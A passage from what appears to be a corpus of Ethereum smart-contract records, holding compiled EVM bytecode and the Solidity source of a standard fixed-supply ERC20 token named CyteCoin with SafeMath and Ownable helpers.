fffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61321c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f74206163636570746564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6132493330868673ffffffffffffffffffffffffffffffffffffffff166154ec909392919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561335f57600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661335a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f7420617070726f766564000000000000000000000000000000000000000081525060200191505060405180910390fd5b61341f565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661341e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f7420617070726f766564000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b600061342b8486612082565b9050613440838261537890919063ffffffff16565b91507f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206073ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156134d357600080fd5b505af11580156134e7573d6000803e3d6000fd5b505050506135008160215461546490919063ffffffff16565b6021819055506021547f93bb8edd35984706eee1b92541281f7f62d33c01c5b2ec0929a113603bd21d6660405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a158683604051808381526020018281526020019250505060405180910390a2509392505050565b600a6020528060005260406000206000915090505481565b601a6020528060005260406000206000915090505481565b600281815481106135d357600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166136e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f7420617070726f766564000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166137a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f74206163636570746564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6137d13330848473ffffffffffffffffffffffffffffffffffffffff166154ec909392919063ffffffff16565b60006137dd8284612082565b905061383181601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461537890919063ffffffff16565b601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138898160225461537890919063ffffffff16565b6022819055506138a48160215461546490919063ffffffff16565b6021819055506021547f93bb8edd35984706eee1b92541281f7f62d33c01c5b2ec0929a113603bd21d6660405160405180910390a28173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc6d98eecfc9c78ab62c89a82950079b54874749f1f6f24090f7acc758bc2f3098584604051808381526020018281526020019250505060405180910390a3505050565b60166020528060005260406000206000915054906101000a900460ff1681565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613a2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613a6857600080fd5b60006009811115613a7557fe5b836009811115613a8157fe5b1415613b0257613aba7f00000000000000000000000000000000000000000000000000000000000000004361546490919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614066565b60016009811115613b0f57fe5b836009811115613b1b57fe5b1415613b9c57613b547f00000000000000000000000000000000000000000000000000000000000000004361546490919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614065565b60026009811115613ba957fe5b836009811115613bb557fe5b1415613c3657613bee7f00000000000000000000000000000000000000000000000000000000000000004361546490919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614064565b60036009811115613c4357fe5b836009811115613c4f57fe5b1415613ce357613c9b613c8c60027f00000000000000000000000000000000000000000000000000000000000000006155ad90919063ffffffff16565b4361546490919063ffffffff16565b601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614063565b60046009811115613cf057fe5b836009811115613cfc57fe5b1415613d7d57613d357f00000000000000000000000000000000000000000000000000000000000000004361546490919063ffffffff16565b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614062565b60056009811115613d8a57fe5b836009811115613d9657fe5b1415613e1757613dcf7f00000000000000000000000000000000000000000000000000000000000000004361546490919063ffffffff16565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614061565b60066009811115613e2457fe5b836009811115613e3057fe5b1415613ec457613e7c613e6d60027f00000000000000000000000000000000000000000000000000000000000000006155ad90919063ffffffff16565b4361546490919063ffffffff16565b601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614060565b60076009811115613ed157fe5b836009811115613edd57fe5b1415613f5e57613f167f00000000000000000000000000000000000000000000000000000000000000004361546490919063ffffffff16565b601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061405f565b60086009811115613f6b57fe5b836009811115613f7757fe5b1415613ff857613fb07f00000000000000000000000000000000000000000000000000000000000000004361546490919063ffffffff16565b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061405e565b60098081111561400457fe5b83600981111561401057fe5b1415614054576140497f00000000000000000000000000000000000000000000000000000000000000004361546490919063ffffffff16565b60208190555061405d565b600090506140c4565b5b5b5b5b5b5b5b5b5b82600981111561407257fe5b7f0e4f2c4b5bc209d509bc3d49348c787fefadc66a79351b470599ac0f5be52eaf83604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a2600190505b92915050565b60136020528060005260406000206000915054906101000a900460ff1681565b60196020528060005260406000206000915054906101000a900460ff1681565b601e6020528060005260406000206000915090505481565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146141e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561421f57600080fd5b600080600981111561422d57fe5b85600981111561423957fe5b14156143b65761424c6007600686615633565b1561430a576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506142a1600585615803565b614309576005849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615905080600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506152ab565b600160098111156143c357fe5b8560098111156143cf57fe5b141561454c576143e2600a600986615633565b156144a0576000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614437600885615803565b61449f576008849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615905080600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506152aa565b6002600981111561455957fe5b85600981111561456557fe5b1415614760576145786004600386615633565b15614636576000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506145cd600285615803565b614635576002849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615905080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555082601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506152a9565b6003600981111561476d57fe5b85600981111561477957fe5b14156149595761478c6014601386615633565b156148ad576012849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614844601285615803565b6148ac576012849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615905080601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506152a8565b6004600981111561496657fe5b85600981111561497257fe5b1415614b52576149856010600f86615633565b15614aa657600e849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614a3d600e85615803565b614aa557600e849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615905080600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506152a7565b60056009811115614b5f57fe5b856009811115614b6b57fe5b1415614d6657614b7e600d600c86615633565b15614c3c576000600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614bd3600b85615803565b614c3b57600b849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615905080600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555082601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506152a6565b60066009811115614d7357fe5b856009811115614d7f57fe5b1415614efc57614d926017601686615633565b15614e50576000601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614de7601585615803565b614e4f576015849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615905080601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506152a5565b60076009811115614f0957fe5b856009811115614f1557fe5b141561509257614f28601a601986615633565b15614fe6576000601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614f7d601885615803565b614fe5576018849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615905080601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506152a4565b6008600981111561509f57fe5b8560098111156150ab57fe5b1415615228576150be601e601d86615633565b1561517c576000601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550615113601c85615803565b61517b57601c849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615905080601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506152a3565b60098081111561523457fe5b85600981111561524057fe5b141561529857600060208190555083601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600190506152a2565b6000915050615314565b5b5b5b5b5b5b5b5b5b8460098111156152b757fe5b7f0dcacb7e392f3d6a216ed2660e3dcfd40b7793d33591db2ba185a6b8e44fc4778583604051808373ffffffffffffffffffffffffffffffffffffffff16815260200182151581526020019250505060405180910390a260019150505b9392505050565b60225481565b600b818154811061533157600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60106020528060005260406000206000915090505481565b60006153ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506158a4565b905092915050565b61545f8363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050615964565b505050565b6000808284019050838110156154e2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6155a7846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050615964565b50505050565b6000808314156155c0576000905061562d565b60008284029050828482816155d157fe5b0414615628576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180615ccd6021913960400191505060405180910390fd5b809150505b92915050565b60008260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166157f75760008460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561573a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4d7573742071756575650000000000000000000000000000000000000000000081525060200191505060405180910390fd5b438460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156157ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5175657565206e6f74206578706972656400000000000000000000000000000081525060200191505060405180910390fd5b600190506157fc565b600090505b9392505050565b600080600090505b8380549050811015615898578273ffffffffffffffffffffffffffffffffffffffff1684828154811061583a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561588b57600191505061589e565b808060010191505061580b565b50600090505b92915050565b6000838311158290615951576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156159165780820151818401526020810190506158fb565b50505050905090810190601f1680156159435780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60606159c6826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16615a539092919063ffffffff16565b9050600081511115615a4e578080602001905160208110156159e757600080fd5b8101908080519060200190929190505050615a4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180615cee602a913960400191505060405180910390fd5b5b505050565b6060615a628484600085615a6b565b90509392505050565b6060615a7685615c71565b615ae8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310615b385780518252602082019150602081019050602083039250615b15565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114615b9a576040519150601f19603f3d011682016040523d82523d6000602084013e615b9f565b606091505b50915091508115615bb4578092505050615c69565b600081511115615bc75780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015615c2e578082015181840152602081019050615c13565b50505050905090810190601f168015615c5b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b600080823b90506000811191505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a206d757374206265206e6577206f776e657220746f2070756c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220ed2ca4ab9d42e23e6dd0db3ca6622f87cade07d95feb84e9a2eda8388fbbc37364736f6c63430007050033
[ 16 ]
0xf36ccb6465fa93bf90771b5459b0b210a2d82392
pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract CyteCoinERC20Token is StandardToken, Ownable { string public name = 'CyteCoin'; string public symbol = 'CTC'; uint8 public decimals = 18; uint256 private constant initialSupply = 1000000000000000000000000000; function CyteCoinERC20Token() { owner = msg.sender; totalSupply = initialSupply; balances[owner] = initialSupply; } }
0x6060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015857806318160ddd146101b257806323b872dd146101db578063313ce56714610254578063661884631461028357806370a08231146102dd5780638da5cb5b1461032a57806395d89b411461037f578063a9059cbb1461040d578063d73dd62314610467578063dd62ed3e146104c1578063f2fde38b1461052d575b600080fd5b34156100d557600080fd5b6100dd610566565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011d578082015181840152602081019050610102565b50505050905090810190601f16801561014a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016357600080fd5b610198600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610604565b604051808215151515815260200191505060405180910390f35b34156101bd57600080fd5b6101c56106f6565b6040518082815260200191505060405180910390f35b34156101e657600080fd5b61023a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106fc565b604051808215151515815260200191505060405180910390f35b341561025f57600080fd5b610267610abb565b604051808260ff1660ff16815260200191505060405180910390f35b341561028e57600080fd5b6102c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ace565b604051808215151515815260200191505060405180910390f35b34156102e857600080fd5b610314600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d5f565b6040518082815260200191505060405180910390f35b341561033557600080fd5b61033d610da8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038a57600080fd5b610392610dce565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561041857600080fd5b61044d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e6c565b604051808215151515815260200191505060405180910390f35b341561047257600080fd5b6104a7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611090565b604051808215151515815260200191505060405180910390f35b34156104cc57600080fd5b610517600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061128c565b6040518082815260200191505060405180910390f35b341561053857600080fd5b610564600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611313565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105fc5780601f106105d1576101008083540402835291602001916105fc565b820191906000526020600020905b8154815290600101906020018083116105df57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561073957600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561078757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561081257600080fd5b61086482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ea90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109cb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ea90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273fffffffffffffffffffffffffffffffff